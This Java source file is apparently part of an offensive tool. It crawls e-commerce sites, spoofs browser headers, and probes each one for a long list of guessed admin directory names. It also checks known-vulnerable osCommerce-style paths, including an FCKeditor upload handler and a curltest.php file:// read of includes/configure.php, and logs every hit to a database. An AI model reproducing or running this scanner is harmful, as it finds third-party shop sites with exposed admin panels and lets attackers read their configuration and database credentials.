package jude.java.money.sly;

import java.io.IOException;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.Date;

import jude.java.money.beans.SlySite;
import jude.java.money.spring.Services;
import jude.java.util.DateUtils;
import jude.java.util.WebUtils;

import org.apache.commons.lang.StringUtils;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.apache.http.HttpException;
import org.apache.http.HttpResponse;
import org.apache.http.HttpStatus;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.params.ClientPNames;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.params.CoreConnectionPNames;
import org.apache.http.params.HttpParams;

/*
--忽悠的域名
update tb_sly_site set audit=-1 where audit=0 and (url like 'blog.%' or url like 'blogs.%');
update tb_sly_site set audit=-1 where audit=0 and (url like 'forum.%' or url like 'forums.%');
update tb_sly_site set audit=-1 where audit=0 and (url like 'bbs.%');
update tb_sly_site set audit=-1 where audit=0 and (url like 'tv.%');
update tb_sly_site set audit=-1 where audit=0 and (url like '%.about.com');
update tb_sly_site set audit=-1 where audit=0 and (url like '%.appspot.com');

update tb_sly_site set audit=-2 where audit=0 and (url like '%.youreplicaclub.com');
update tb_sly_site set audit=-2 where audit=0 and (url like '%.worldreplicaclub.com');
update tb_sly_site set audit=-2 where audit=0 and (url like '%.brandpreplicaclub.com');
update tb_sly_site set audit=-2 where audit=0 and (url like '%.cheapreplicaclub.com');
--update tb_sly_site set audit=-2 where audit=0 and (url like '%.cheapreplicaclub.com');

 * */
public class TryingSite {
	private static final Log L = LogFactory.getLog(TryingSite.class);

	private static final String[] ADMINS = {
			"admin", "yAn_hoNg", "miniking93", "alexandersitt", "shenqing",
			"lclqlzadmin", "xinhui", "adminhome", "adminpanel", "homlee", "lclzytadmin",
			"lyq", "netspower", "tnfadmin", "Robber", "GH9[H0hY[fj6}9JYf", "qy201105ma",
			"lidb_admin", "yehaixian", "adminpp", "mybigordersite", "jerrylogin", "admindage",
			"adminface", "chen", "monadmin", "admonshop", "sily_monv", "kone_d", "bao_trade", "adl_trade",
			"ksdoie_a", "andy_trade", "Ellen", "fuckhacker", "admin_ugg", "ugg_admin", "sitegl", "adminymd"
	};
	
	private static final String[] PATHES = {
		"extras/ipn_test_return.php",
		"editors/fckeditor/editor/filemanager/upload/php/upload.php",
		"editors/tiny_mce/plugins/ImageManager/manager.php?b=",
		"extras/curltest.php?url=file://../includes/configure.php",
//		"rp_check.php",
	};
	
	private static final String ADMIN_PATHES[] = {
		"record_company.php/password_forgotten.php"
	};
	
	private final int index;
	private final String url;
	private final String root;		// [http://[www.]]domain[/]
	private final String keyword;
	
	private HttpClient client;
	private SlySite site;
	
	public TryingSite(int index, String url, String keyword) {
		this.index = index;
		this.url = url;
		this.root = toRoot(url);
		this.keyword = keyword;
	}
	
	public void trying() throws Exception {
		long now = System.currentTimeMillis();
		if (Sly.PERSISTENCE) {
			site = Services.getGlobalService().get(SlySite.class, "url", url);
			if (site != null) {
//				int status = site.getStatus();
				int audit = site.getAudit();
				if (audit == SlySite.AUDIT_DENY)
					return;
				Date d = site.getTime();
				if (keyword != null) {
					if (Sly.LANG.equals(site.getLang()) && keyword.equals(site.getKeyword())) {
						//同关键字
						site.setRank(index);
//						site.setKeyword(keyword);
//						site.setLang(Sly.LANG);
						site.setTime(new Date(now));
						Services.getGlobalService().save(site);
					} else {
						if (now - d.getTime() > 10 * DateUtils.ONE_DAY) {
							//未更新排名, 或3天前更新的
							site.setRank(index);
							site.setKeyword(keyword);
							site.setLang(Sly.LANG);
							site.setTime(new Date(now));
							Services.getGlobalService().save(site);
						} else if (site.getRank() == -1 || index < site.getRank()) {
							//排名更前的关键词
							site.setRank(index);
							site.setKeyword(keyword);
							site.setLang(Sly.LANG);
							site.setTime(new Date(now));
							Services.getGlobalService().save(site);
						} else {
							
						}
					}
					return;
				}
				
//				if (status > SlySite.STATUS_FAIL || audit != SlySite.AUDIT_NORMAL) {
//					if (keyword != null && (site.getRank() == -1 || index < site.getRank())) {
//						site.setRank(index);
//						site.setKeyword(keyword);
//						site.setLang(Sly.LANG);
//						Services.getGlobalService().save(site);
//					}
//					return;
//				}
			}
		}
		if (site == null) {
			site = new SlySite(url);
		}
		new Normalizer().normalize(site);
		L.error("--- Trying: (" + index + ") " + root);
		this.client = new DefaultHttpClient();
		HttpParams params = this.client.getParams();//new BasicHttpParams();
		params.setIntParameter(CoreConnectionPNames.CONNECTION_TIMEOUT, 20000);
		params.setIntParameter(CoreConnectionPNames.SO_TIMEOUT, 30000);
//		this.client.getHttpConnectionManager().getParams().setConnectionTimeout(30000);
//		this.client.getHttpConnectionManager().getParams().setSoTimeout(40000);
		int status = 0;
		boolean success = false;
		ArrayList<String> urls = new ArrayList<String>();
		String url, admin = null;
		int adminCount = 0;
		for (int i = 0; i < ADMINS.length; i++) {
			url = root + URLEncoder.encode(ADMINS[i], "UTF-8") + "/";
			if (testUrl(url, true)) {
				success = true;
				urls.add(url);
				if (admin == null)
					admin = ADMINS[i];
				adminCount ++;
//				break;
			}
		}
		if (adminCount > 2) {
			status |= SlySite.STATUS_ADMIN_M;
//			admin = null;
		} else if (adminCount > 0) {
			status |= SlySite.STATUS_ADMIN;
			site.setAdmin(admin);
		}
		for (int i = 0; i < PATHES.length; i++) {
			url = root + PATHES[i];
			if (testUrl(url, false)) {
				success = true;
				urls.add(url);
				status |= SlySite.STATUS_IPN << i;
			}
		}
		if (admin != null) {
			for (int i = 0; i < ADMIN_PATHES.length; i++) {
				url = root + admin + "/" + ADMIN_PATHES[i];
				if (testUrl(url, false)) {
					success = true;
					urls.add(url);
					status |= SlySite.STATUS_RECORD_COMPANY << i;
					site.setAdmin(admin);
				}
			}
		}
		if (success) {
			for (String u : urls) {
				L.warn("\t" + u);
			}
		} else {
			status = SlySite.STATUS_FAIL;
		}
		if (Sly.PERSISTENCE) {
			if (keyword != null) {
				site.setRank(index);
				site.setLang(Sly.LANG);
				site.setKeyword(keyword);
			}
			site.setStatus(status);
			Services.getGlobalService().save(site);
		}
	}
	
	private boolean testUrl(String url, boolean redirect) throws HttpException, IOException {
		L.debug(url);
		HttpGet get = new HttpGet(url);
		WebUtils.pretendRequestHeader(get);
		if(redirect)
			get.getParams().setBooleanParameter(ClientPNames.HANDLE_REDIRECTS, Boolean.TRUE);
		HttpResponse response = client.execute(get);
//		HttpEntity entity = response.getEntity();
		int statusCode = response.getStatusLine().getStatusCode();
		get.abort();
		return statusCode == HttpStatus.SC_OK;
//		if (entity != null) {
//		    InputStream instream = entity.getContent();
//		    int l;
//		    byte[] tmp = new byte[2048];
//		    while ((l = instream.read(tmp)) != -1) {
//		    }
//		}
		
/*		GetMethod get = new GetMethod(url);
		WebUtils.pretendRequestHeader(get);
		get.setFollowRedirects(redirect);
		int statusCode = client.executeMethod(get);
		get.releaseConnection();
		if (statusCode == HttpStatus.SC_OK) {
			return true;
		}
		return false;
*/
	}
	
	private static String toRoot(String domain) {
		if (StringUtils.isEmpty(domain))
			return null;
		domain = domain.toLowerCase();
		String site = domain;
		if (domain.startsWith("http://")) {
			site = domain;
//		} else if (!(domain.startsWith("www.") || domain.split(".").length > 2)) {
//			site = "http://www." + domain;
		} else {
			site = "http://" + domain;
		}
		if (site.charAt(site.length() - 1) != '/')
			site += '/';
		return site;
	}
}
